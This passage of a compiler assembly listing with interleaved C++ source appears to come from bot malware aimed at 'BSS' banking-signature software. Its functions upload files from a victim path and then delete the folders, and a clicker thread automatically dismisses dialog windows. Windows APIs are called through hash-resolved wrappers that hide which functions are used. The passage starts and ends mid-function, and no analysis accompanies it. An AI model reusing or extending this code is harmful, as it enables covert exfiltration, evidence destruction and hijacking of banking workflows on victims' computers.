  00046	5e		 pop	 esi
; 305  : }
  00047	c3		 ret	 0
?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ENDP			; STRUTILS<char>::Hash
_TEXT	ENDS
PUBLIC	??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z	; STRBUF::GetRec<char>
; Function compile flags: /Ogspy
;	COMDAT ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z PROC		; STRBUF::GetRec<char>, COMDAT
; 442  : 	// 
; 443  : 	TStrRec* R = (TStrRec*)Str;
; 444  :     return R[-1];
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	83 c0 f4	 add	 eax, -12		; fffffff4H
; 445  : }
  00007	c3		 ret	 0
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z ENDP		; STRBUF::GetRec<char>
_TEXT	ENDS
PUBLIC	?SetCapacity@?$TListTemplate@PAX@@QAE_NH@Z	; TListTemplate<void *>::SetCapacity
EXTRN	?ReAlloc2@HEAP@@YA_NAAPAXK@Z:PROC		; HEAP::ReAlloc2
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\listtemplate.cpp
;	COMDAT ?SetCapacity@?$TListTemplate@PAX@@QAE_NH@Z
_TEXT	SEGMENT
_Value$ = 8						; size = 4
?SetCapacity@?$TListTemplate@PAX@@QAE_NH@Z PROC		; TListTemplate<void *>::SetCapacity, COMDAT
; _this$ = ecx
; 147  : {
  00000	56		 push	 esi
  00001	57		 push	 edi
; 148  : 	// 
; 149  : 	if (Value > FCount && Value != FCapacity)
  00002	8b 7c 24 0c	 mov	 edi, DWORD PTR _Value$[esp+4]
  00006	8b f1		 mov	 esi, ecx
  00008	3b 7e 04	 cmp	 edi, DWORD PTR [esi+4]
  0000b	7e 21		 jle	 SHORT $LN1@SetCapacit
  0000d	3b 7e 08	 cmp	 edi, DWORD PTR [esi+8]
  00010	74 1c		 je	 SHORT $LN1@SetCapacit
; 150  : 	{
; 151  :         // 
; 152  : 		if (HEAP::ReAlloc2((LPVOID &)FItems, Value * sizeof(TItem)))
  00012	8b c7		 mov	 eax, edi
  00014	c1 e0 02	 shl	 eax, 2
  00017	50		 push	 eax
  00018	8d 46 0c	 lea	 eax, DWORD PTR [esi+12]
  0001b	50		 push	 eax
  0001c	e8 00 00 00 00	 call	 ?ReAlloc2@HEAP@@YA_NAAPAXK@Z ; HEAP::ReAlloc2
  00021	59		 pop	 ecx
  00022	59		 pop	 ecx
  00023	84 c0		 test	 al, al
  00025	74 07		 je	 SHORT $LN1@SetCapacit
; 153  : 		{
; 154  : 			FCapacity = Value;
  00027	89 7e 08	 mov	 DWORD PTR [esi+8], edi
; 155  : 			return true;
  0002a	b0 01		 mov	 al, 1
  0002c	eb 02		 jmp	 SHORT $LN3@SetCapacit
$LN1@SetCapacit:
; 156  :         }
; 157  : 	}
; 158  : 	return false;
  0002e	32 c0		 xor	 al, al
$LN3@SetCapacit:
  00030	5f		 pop	 edi
  00031	5e		 pop	 esi
; 159  : }
  00032	c2 04 00	 ret	 4
?SetCapacity@?$TListTemplate@PAX@@QAE_NH@Z ENDP		; TListTemplate<void *>::SetCapacity
_TEXT	ENDS
PUBLIC	??_C@_03BNDBODFH@bss?$AA@			; `string'
PUBLIC	?BSSSignSendLog@@YGKPAX@Z			; BSSSignSendLog
EXTRN	?DeleteFolders@@YA_NPAD@Z:PROC			; DeleteFolders
EXTRN	?SendFiles@VideoProcess@@YAKHPBD0HH_N@Z:PROC	; VideoProcess::SendFiles
;	COMDAT ??_C@_03BNDBODFH@bss?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	SEGMENT
??_C@_03BNDBODFH@bss?$AA@ DB 'bss', 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?BSSSignSendLog@@YGKPAX@Z
_TEXT	SEGMENT
_aPath$ = 8						; size = 4
?BSSSignSendLog@@YGKPAX@Z PROC				; BSSSignSendLog, COMDAT
; 86   : 	{
  00000	56		 push	 esi
; 87   : 		// 
; 88   : 		string *Path = (string*)aPath;
; 89   : 
; 90   : 		//
; 91   : 		VideoProcess::SendFiles( 0, "bss", Path->t_str() );
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _aPath$[esp]
  00005	6a 00		 push	 0
  00007	6a 00		 push	 0
  00009	6a 00		 push	 0
  0000b	8b ce		 mov	 ecx, esi
  0000d	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00012	50		 push	 eax
  00013	68 00 00 00 00	 push	 OFFSET ??_C@_03BNDBODFH@bss?$AA@
  00018	6a 00		 push	 0
  0001a	e8 00 00 00 00	 call	 ?SendFiles@VideoProcess@@YAKHPBD0HH_N@Z ; VideoProcess::SendFiles
  0001f	83 c4 18	 add	 esp, 24			; 00000018H
; 92   : 
; 93   : 		// 
; 94   : 		DeleteFolders(Path->t_str());
  00022	8b ce		 mov	 ecx, esi
  00024	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00029	50		 push	 eax
  0002a	e8 00 00 00 00	 call	 ?DeleteFolders@@YA_NPAD@Z ; DeleteFolders
  0002f	59		 pop	 ecx
; 95   : 
; 96   : 
; 97   : 		delete Path;
  00030	85 f6		 test	 esi, esi
  00032	74 08		 je	 SHORT $LN3@BSSSignSen
  00034	8b 06		 mov	 eax, DWORD PTR [esi]
  00036	6a 01		 push	 1
  00038	8b ce		 mov	 ecx, esi
  0003a	ff 10		 call	 DWORD PTR [eax]
$LN3@BSSSignSen:
; 98   : 		return 0;
  0003c	33 c0		 xor	 eax, eax
  0003e	5e		 pop	 esi
; 99   :     }
  0003f	c2 04 00	 ret	 4
?BSSSignSendLog@@YGKPAX@Z ENDP				; BSSSignSendLog
_TEXT	ENDS
PUBLIC	?Move@TBSSForm@@IAEXHH@Z			; TBSSForm::Move
; Function compile flags: /Ogspy
;	COMDAT ?Move@TBSSForm@@IAEXHH@Z
_TEXT	SEGMENT
_R$ = -16						; size = 16
_x$ = 8							; size = 4
_y$ = 12						; size = 4
?Move@TBSSForm@@IAEXHH@Z PROC				; TBSSForm::Move, COMDAT
; _this$ = ecx
; 410  : 	{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
  00006	56		 push	 esi
; 411  : 		RECT R;
; 412  : 		if (!pGetWindowRect(FForm, &R)) return;
  00007	8d 45 f0	 lea	 eax, DWORD PTR _R$[ebp]
  0000a	8b f1		 mov	 esi, ecx
  0000c	50		 push	 eax
  0000d	ff 76 08	 push	 DWORD PTR [esi+8]
  00010	e8 00 00 00 00	 call	 ??$pushargEx@$02$0JHPIFPKA@$0BEC@PAUHWND__@@PAUtagRECT@@@@YAPAXPAUHWND__@@PAUtagRECT@@@Z ; pushargEx<3,2549637024,322,HWND__ *,tagRECT *>
  00015	59		 pop	 ecx
  00016	59		 pop	 ecx
  00017	85 c0		 test	 eax, eax
  00019	74 21		 je	 SHORT $LN2@Move
; 413  : 
; 414  : 		int W = R.right - R.left;
; 415  : 		int H = R.bottom - R.top;
  0001b	8b 45 fc	 mov	 eax, DWORD PTR _R$[ebp+12]
  0001e	2b 45 f4	 sub	 eax, DWORD PTR _R$[ebp+4]
; 416  : 		pMoveWindow(FForm, x, y, W, H, FALSE);
  00021	6a 00		 push	 0
  00023	50		 push	 eax
  00024	8b 45 f8	 mov	 eax, DWORD PTR _R$[ebp+8]
  00027	2b 45 f0	 sub	 eax, DWORD PTR _R$[ebp]
  0002a	50		 push	 eax
  0002b	ff 75 0c	 push	 DWORD PTR _y$[ebp]
  0002e	ff 75 08	 push	 DWORD PTR _x$[ebp]
  00031	ff 76 08	 push	 DWORD PTR [esi+8]
  00034	e8 00 00 00 00	 call	 ??$pushargEx@$02$0HCDEKBGP@$0BDH@PAUHWND__@@HHHHH@@YAPAXPAUHWND__@@HHHHH@Z ; pushargEx<3,1916051823,311,HWND__ *,int,int,int,int,int>
  00039	83 c4 18	 add	 esp, 24			; 00000018H
$LN2@Move:
  0003c	5e		 pop	 esi
; 417  : 	}
  0003d	c9		 leave
  0003e	c2 08 00	 ret	 8
?Move@TBSSForm@@IAEXHH@Z ENDP				; TBSSForm::Move
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?Click@TBSSForm@@MAE_NXZ
_TEXT	SEGMENT
?Click@TBSSForm@@MAE_NXZ PROC				; TBSSForm::Click, COMDAT
; _this$ = ecx
; 421  : 	{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 422  : 		FClickTime = (DWORD)pGetTickCount();
  00003	e8 00 00 00 00	 call	 ??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ ; pushargEx<1,1764098386,109>
  00008	89 46 10	 mov	 DWORD PTR [esi+16], eax
; 423  : 		FStatus = bfsClicked;
  0000b	33 c0		 xor	 eax, eax
  0000d	40		 inc	 eax
  0000e	89 46 0c	 mov	 DWORD PTR [esi+12], eax
  00011	5e		 pop	 esi
; 424  : 		return true;
; 425  : 	}
  00012	c3		 ret	 0
?Click@TBSSForm@@MAE_NXZ ENDP				; TBSSForm::Click
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?Wait@TBSSForm@@MAEXXZ
_TEXT	SEGMENT
?Wait@TBSSForm@@MAEXXZ PROC				; TBSSForm::Wait, COMDAT
; _this$ = ecx
; 429  : 	{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 430  : 		DWORD Interval = (DWORD)pGetTickCount() - FClickTime;
  00003	e8 00 00 00 00	 call	 ??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ ; pushargEx<1,1764098386,109>
  00008	2b 46 10	 sub	 eax, DWORD PTR [esi+16]
; 431  : 		if (Interval > FMaxWaitInterval || !(BOOL)pIsWindowVisible(FForm))
  0000b	3b 46 14	 cmp	 eax, DWORD PTR [esi+20]
  0000e	77 0d		 ja	 SHORT $LN1@Wait
  00010	ff 76 08	 push	 DWORD PTR [esi+8]
  00013	e8 00 00 00 00	 call	 ??$pushargEx@$02$0MPKKNHLP@$0BBP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ; pushargEx<3,3484080063,287,HWND__ *>
  00018	59		 pop	 ecx
  00019	85 c0		 test	 eax, eax
  0001b	75 07		 jne	 SHORT $LN2@Wait
$LN1@Wait:
; 432  :             FStatus = bfsReady;
  0001d	c7 46 0c 03 00
	00 00		 mov	 DWORD PTR [esi+12], 3
$LN2@Wait:
  00024	5e		 pop	 esi
; 433  :     }
  00025	c3		 ret	 0
?Wait@TBSSForm@@MAEXXZ ENDP				; TBSSForm::Wait
_TEXT	ENDS
PUBLIC	?IsValid@TBSSForm@@QAE_NXZ			; TBSSForm::IsValid
; Function compile flags: /Ogspy
;	COMDAT ?IsValid@TBSSForm@@QAE_NXZ
_TEXT	SEGMENT
?IsValid@TBSSForm@@QAE_NXZ PROC				; TBSSForm::IsValid, COMDAT
; _this$ = ecx
; 461  : 		// 
; 462  : 		return (BOOL)pIsWindow(FForm) != FALSE;
  00000	ff 71 08	 push	 DWORD PTR [ecx+8]
  00003	e8 00 00 00 00	 call	 ??$pushargEx@$02$0JNEKPJEJ@$0BCP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ; pushargEx<3,2638936393,303,HWND__ *>
  00008	f7 d8		 neg	 eax
  0000a	1b c0		 sbb	 eax, eax
  0000c	59		 pop	 ecx
  0000d	f7 d8		 neg	 eax
; 463  :     }
  0000f	c3		 ret	 0
?IsValid@TBSSForm@@QAE_NXZ ENDP				; TBSSForm::IsValid
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GTBSSForm@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBSSForm@@UAEPAXI@Z PROC				; TBSSForm::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1TBotCollectionItem@@UAE@XZ ; TBotCollectionItem::~TBotCollectionItem
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@2
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@2:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GTBSSForm@@UAEPAXI@Z ENDP				; TBSSForm::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	?CheckForm@TBSSClicker@@AAEXXZ			; TBSSClicker::CheckForm
EXTRN	??1TLock@@QAE@XZ:PROC				; TLock::~TLock
EXTRN	?Items@TBotCollection@@QAEPAVTBotCollectionItem@@H@Z:PROC ; TBotCollection::Items
EXTRN	?GetLocker@TBotCollection@@QAE?AVTLock@@XZ:PROC	; TBotCollection::GetLocker
; Function compile flags: /Ogspy
;	COMDAT ?CheckForm@TBSSClicker@@AAEXXZ
_TEXT	SEGMENT
_Locker$ = -4						; size = 4
?CheckForm@TBSSClicker@@AAEXXZ PROC			; TBSSClicker::CheckForm, COMDAT
; _this$ = ecx
; 695  : 	{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	53		 push	 ebx
  00005	56		 push	 esi
; 696  : 		// 
; 697  : 		TLock Locker = GetLocker();
  00006	8d 45 fc	 lea	 eax, DWORD PTR _Locker$[ebp]
  00009	50		 push	 eax
  0000a	8b d9		 mov	 ebx, ecx
  0000c	e8 00 00 00 00	 call	 ?GetLocker@TBotCollection@@QAE?AVTLock@@XZ ; TBotCollection::GetLocker
; 698  : 
; 699  : 		for (int i = Count() - 1; i >= 0; i--)
  00011	8b cb		 mov	 ecx, ebx
  00013	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00018	8b f0		 mov	 esi, eax
  0001a	4e		 dec	 esi
  0001b	78 24		 js	 SHORT $LN2@CheckForm
  0001d	57		 push	 edi
$LL4@CheckForm:
; 700  : 		{
; 701  : 			TBSSForm* Form = (TBSSForm*)Items(i);
  0001e	56		 push	 esi
  0001f	8b cb		 mov	 ecx, ebx
  00021	e8 00 00 00 00	 call	 ?Items@TBotCollection@@QAEPAVTBotCollectionItem@@H@Z ; TBotCollection::Items
  00026	8b f8		 mov	 edi, eax
; 702  : 			if (!Form->IsValid())
  00028	ff 77 08	 push	 DWORD PTR [edi+8]
  0002b	e8 00 00 00 00	 call	 ??$pushargEx@$02$0JNEKPJEJ@$0BCP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ; pushargEx<3,2638936393,303,HWND__ *>
  00030	59		 pop	 ecx
  00031	85 c0		 test	 eax, eax
  00033	75 08		 jne	 SHORT $LN3@CheckForm
; 703  : 				delete Form;
  00035	8b 07		 mov	 eax, DWORD PTR [edi]
  00037	6a 01		 push	 1
  00039	8b cf		 mov	 ecx, edi
  0003b	ff 10		 call	 DWORD PTR [eax]
$LN3@CheckForm:
; 698  : 
; 699  : 		for (int i = Count() - 1; i >= 0; i--)
  0003d	4e		 dec	 esi
  0003e	79 de		 jns	 SHORT $LL4@CheckForm
  00040	5f		 pop	 edi
$LN2@CheckForm:
; 704  :         }
; 705  : 	}
  00041	8d 4d fc	 lea	 ecx, DWORD PTR _Locker$[ebp]
  00044	e8 00 00 00 00	 call	 ??1TLock@@QAE@XZ	; TLock::~TLock
  00049	5e		 pop	 esi
  0004a	5b		 pop	 ebx
  0004b	c9		 leave
  0004c	c3		 ret	 0
?CheckForm@TBSSClicker@@AAEXXZ ENDP			; TBSSClicker::CheckForm
_TEXT	ENDS
PUBLIC	?Execute@TBSSClicker@@AAEXXZ			; TBSSClicker::Execute
; Function compile flags: /Ogspy
;	COMDAT ?Execute@TBSSClicker@@AAEXXZ
_TEXT	SEGMENT
_L$70051 = -4						; size = 4
?Execute@TBSSClicker@@AAEXXZ PROC			; TBSSClicker::Execute, COMDAT
; _this$ = ecx
; 710  : 	{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	53		 push	 ebx
  00005	56		 push	 esi
  00006	57		 push	 edi
; 711  : 		// 
; 712  : 		pSleep(500);
  00007	68 f4 01 00 00	 push	 500			; 000001f4H
  0000c	8b f9		 mov	 edi, ecx
  0000e	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  00013	59		 pop	 ecx
$LL8@Execute@2:
; 713  : 
; 714  : 		do
; 715  : 		{
; 716  : 			CheckForm();
  00014	8b cf		 mov	 ecx, edi
  00016	e8 00 00 00 00	 call	 ?CheckForm@TBSSClicker@@AAEXXZ ; TBSSClicker::CheckForm
; 717  : 
; 718  : 			for (int i = 0; i < Count();)
  0001b	8b cf		 mov	 ecx, edi
  0001d	33 db		 xor	 ebx, ebx
  0001f	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00024	85 c0		 test	 eax, eax
  00026	7e 2c		 jle	 SHORT $LN4@Execute@2
$LL5@Execute@2:
; 719  : 			{
; 720  : 				TBSSForm* Form = (TBSSForm*)Items(i);
  00028	53		 push	 ebx
  00029	8b cf		 mov	 ecx, edi
  0002b	e8 00 00 00 00	 call	 ?Items@TBotCollection@@QAEPAVTBotCollectionItem@@H@Z ; TBotCollection::Items
  00030	8b f0		 mov	 esi, eax
; 721  : 				TBSSFormStatus Status = Form->Execute();
  00032	8b 06		 mov	 eax, DWORD PTR [esi]
  00034	8b ce		 mov	 ecx, esi
  00036	ff 50 0c	 call	 DWORD PTR [eax+12]
; 722  : 				if (Status == bfsReady)
  00039	83 f8 03	 cmp	 eax, 3
  0003c	75 0a		 jne	 SHORT $LN3@Execute@2
; 723  : 					delete Form;
  0003e	8b 06		 mov	 eax, DWORD PTR [esi]
  00040	6a 01		 push	 1
  00042	8b ce		 mov	 ecx, esi
  00044	ff 10		 call	 DWORD PTR [eax]
; 724  : 				else
  00046	eb 01		 jmp	 SHORT $LN2@Execute@2
$LN3@Execute@2:
; 725  :                     i++;
  00048	43		 inc	 ebx
$LN2@Execute@2:
; 717  : 
; 718  : 			for (int i = 0; i < Count();)
  00049	8b cf		 mov	 ecx, edi
  0004b	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00050	3b d8		 cmp	 ebx, eax
  00052	7c d4		 jl	 SHORT $LL5@Execute@2
$LN4@Execute@2:
; 726  : 			}
; 727  : 
; 728  : 			pSleep(500);
  00054	68 f4 01 00 00	 push	 500			; 000001f4H
  00059	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  0005e	59		 pop	 ecx
; 729  : 
; 730  : 
; 731  : 			// 
; 732  : 			TLock L = GetLocker();
  0005f	8d 45 fc	 lea	 eax, DWORD PTR _L$70051[ebp]
  00062	50		 push	 eax
  00063	8b cf		 mov	 ecx, edi
  00065	e8 00 00 00 00	 call	 ?GetLocker@TBotCollection@@QAE?AVTLock@@XZ ; TBotCollection::GetLocker
; 733  : 			FRunning = Count() > 0 && FActive;
  0006a	8b cf		 mov	 ecx, edi
  0006c	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00071	85 c0		 test	 eax, eax
  00073	7e 0b		 jle	 SHORT $LN13@Execute@2
  00075	80 7f 20 00	 cmp	 BYTE PTR [edi+32], 0
  00079	74 05		 je	 SHORT $LN13@Execute@2
  0007b	33 c0		 xor	 eax, eax
  0007d	40		 inc	 eax
  0007e	eb 02		 jmp	 SHORT $LN14@Execute@2
$LN13@Execute@2:
  00080	33 c0		 xor	 eax, eax
$LN14@Execute@2:
  00082	88 47 21	 mov	 BYTE PTR [edi+33], al
; 735  : 		}
  00085	8d 4d fc	 lea	 ecx, DWORD PTR _L$70051[ebp]
  00088	84 c0		 test	 al, al
  0008a	74 07		 je	 SHORT $LN18@Execute@2
  0008c	e8 00 00 00 00	 call	 ??1TLock@@QAE@XZ	; TLock::~TLock
; 736  : 		while (true);
  00091	eb 81		 jmp	 SHORT $LL8@Execute@2
$LN18@Execute@2:
; 734  : 			if (!FRunning) break;
  00093	e8 00 00 00 00	 call	 ??1TLock@@QAE@XZ	; TLock::~TLock
  00098	5f		 pop	 edi
  00099	5e		 pop	 esi
  0009a	5b		 pop	 ebx
; 737  : 	}
  0009b	c9		 leave
  0009c	c3		 ret	 0
?Execute@TBSSClicker@@AAEXXZ ENDP			; TBSSClicker::Execute
_TEXT	ENDS
PUBLIC	?SetActive@TBSSClicker@@QAEX_N@Z		; TBSSClicker::SetActive
; Function compile flags: /Ogspy
;	COMDAT ?SetActive@TBSSClicker@@QAEX_N@Z
_TEXT	SEGMENT
_Value$ = 8						; size = 1
?SetActive@TBSSClicker@@QAEX_N@Z PROC			; TBSSClicker::SetActive, COMDAT
; _this$ = ecx
; 754  : 		BDBG("bsssign","
=%d", Value);
; 755  :         FActive = Value;
  00000	8a 44 24 04	 mov	 al, BYTE PTR _Value$[esp-4]
  00004	88 41 20	 mov	 BYTE PTR [ecx+32], al
; 756  : 	}
  00007	c2 04 00	 ret	 4
?SetActive@TBSSClicker@@QAEX_N@Z ENDP			; TBSSClicker::SetActive
_TEXT	ENDS
PUBLIC	?IsDialog@TBSSClicker@@QAE_NPAUHWND__@@@Z	; TBSSClicker::IsDialog
; Function compile flags: /Ogspy
;	COMDAT ?IsDialog@TBSSClicker@@QAE_NPAUHWND__@@@Z
_TEXT	SEGMENT
_Wnd$ = 8						; size = 4
?IsDialog@TBSSClicker@@QAE_NPAUHWND__@@@Z PROC		; TBSSClicker::IsDialog, COMDAT
; _this$ = ecx
; 761  : 		// 
; 762  : 
; 763  : 		HWND Owner = (HWND)pGetWindow(Wnd, GW_OWNER);
  00000	6a 04		 push	 4
  00002	ff 74 24 08	 push	 DWORD PTR _Wnd$[esp]
  00006	e8 00 00 00 00	 call	 ??$pushargEx@$02$0NKBCOFEJ@$0BDA@PAUHWND__@@H@@YAPAXPAUHWND__@@H@Z ; pushargEx<3,3658671433,304,HWND__ *,int>
; 764  : 
; 765  : 		// 
; 766  :         return Owner != NULL;
  0000b	f7 d8		 neg	 eax
  0000d	59		 pop	 ecx
  0000e	1b c0		 sbb	 eax, eax
  00010	59		 pop	 ecx
  00011	f7 d8		 neg	 eax
; 767  : 	}
  00013	c2 04 00	 ret	 4
?IsDialog@TBSSClicker@@QAE_NPAUHWND__@@@Z ENDP		; TBSSClicker::IsDialog
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GTBSSClicker@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBSSClicker@@UAEPAXI@Z PROC				; TBSSClicker::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1TBotCollection@@UAE@XZ ; TBotCollection::~TBotCollection
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@3
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@3:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GTBSSClicker@@UAEPAXI@Z ENDP				; TBSSClicker::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	?BSSClickerThreadMethod@@YGKPAX@Z		; BSSClickerThreadMethod
; Function compile flags: /Ogspy
;	COMDAT ?BSSClickerThreadMethod@@YGKPAX@Z
_TEXT	SEGMENT
_Clicker$ = 8						; size = 4
?BSSClickerThreadMethod@@YGKPAX@Z PROC			; BSSClickerThreadMethod, COMDAT
; 835  :     ((TBSSClicker*)Clicker)->Execute();
  00000	8b 4c 24 04	 mov	 ecx, DWORD PTR _Clicker$[esp-4]
  00004	e8 00 00 00 00	 call	 ?Execute@TBSSClicker@@AAEXXZ ; TBSSClicker::Execute
; 836  :     return 0;
  00009	33 c0		 xor	 eax, eax
; 837  : }
  0000b	c2 04 00	 ret	 4
?BSSClickerThreadMethod@@YGKPAX@Z ENDP			; BSSClickerThreadMethod
_TEXT	ENDS
PUBLIC	?IsEmpty@?$TString@D@@QBE_NXZ			; TString<char>::IsEmpty
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?IsEmpty@?$TString@D@@QBE_NXZ
_TEXT	SEGMENT
?IsEmpty@?$TString@D@@QBE_NXZ PROC			; TString<char>::IsEmpty, COMDAT
; _this$ = ecx
; 695  : 	return STRUTILS<TChar>::IsEmpty(Data);
  00000	ff 71 04	 push	 DWORD PTR [ecx+4]
  00003	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00008	59		 pop	 ecx
; 696  : }
  00009	c3		 ret	 0
?IsEmpty@?$TString@D@@QBE_NXZ ENDP			; TString<char>::IsEmpty
_TEXT	ENDS
PUBLIC	?Pos@?$TString@D@@QBEHPBD@Z			; TString<char>::Pos
; Function compile flags: /Ogspy
;	COMDAT ?Pos@?$TString@D@@QBEHPBD@Z
_TEXT	SEGMENT
_SubStr$ = 8						; size = 4
?Pos@?$TString@D@@QBEHPBD@Z PROC			; TString<char>::Pos, COMDAT
; _this$ = ecx
; 828  : 	return STRUTILS<TChar>::Pos(Data, SubStr);
  00000	ff 74 24 04	 push	 DWORD PTR _SubStr$[esp-4]
  00004	ff 71 04	 push	 DWORD PTR [ecx+4]
  00007	e8 00 00 00 00	 call	 ?Pos@?$STRUTILS@D@@SAHPBD0@Z ; STRUTILS<char>::Pos
  0000c	59		 pop	 ecx
  0000d	59		 pop	 ecx
; 829  : }
  0000e	c2 04 00	 ret	 4
?Pos@?$TString@D@@QBEHPBD@Z ENDP			; TString<char>::Pos
_TEXT	ENDS
PUBLIC	??0?$TString@D@@QAE@K@Z				; TString<char>::TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??0?$TString@D@@QAE@K@Z
_TEXT	SEGMENT
_StrBufSize$ = 8					; size = 4
??0?$TString@D@@QAE@K@Z PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 655  : {
  00000	56		 push	 esi
; 656  : 	Data = STRBUF::Alloc<TChar>(StrBufSize);
  00001	ff 74 24 08	 push	 DWORD PTR _StrBufSize$[esp]
  00005	8b f1		 mov	 esi, ecx
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	e8 00 00 00 00	 call	 ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc<char>
  00012	89 46 04	 mov	 DWORD PTR [esi+4], eax
  00015	59		 pop	 ecx
; 657  : }
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??0?$TString@D@@QAE@K@Z ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z		; STRBUF::CreateFromStr<char>
EXTRN	?m_memcpy@@YAPAXPAXPBXH@Z:PROC			; m_memcpy
; Function compile flags: /Ogspy
;	COMDAT ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
_StrLen$ = 12						; size = 4
_ResultStrSize$ = 16					; size = 4
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z PROC		; STRBUF::CreateFromStr<char>, COMDAT
; 457  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 458  : 	// 
; 459  : 	if (STRUTILS<TChar>::IsEmpty(Str))
  00003	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00006	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0000b	59		 pop	 ecx
  0000c	84 c0		 test	 al, al
  0000e	74 04		 je	 SHORT $LN3@CreateFrom
; 460  : 		return NULL;
  00010	33 c0		 xor	 eax, eax
; 474  : }
  00012	5d		 pop	 ebp
  00013	c3		 ret	 0
$LN3@CreateFrom:
  00014	56		 push	 esi
  00015	57		 push	 edi
; 461  : 
; 462  : 	if (StrLen == 0)
  00016	8b 7d 0c	 mov	 edi, DWORD PTR _StrLen$[ebp]
  00019	85 ff		 test	 edi, edi
  0001b	75 0b		 jne	 SHORT $LN2@CreateFrom
; 463  : 		StrLen = STRUTILS<TChar>::Length(Str);
  0001d	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00020	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00025	59		 pop	 ecx
  00026	8b f8		 mov	 edi, eax
$LN2@CreateFrom:
; 464  : 
; 465  :     DWORD ResSize = Max(StrLen, ResultStrSize);
  00028	8b 45 10	 mov	 eax, DWORD PTR _ResultStrSize$[ebp]
  0002b	3b f8		 cmp	 edi, eax
  0002d	76 02		 jbe	 SHORT $LN6@CreateFrom
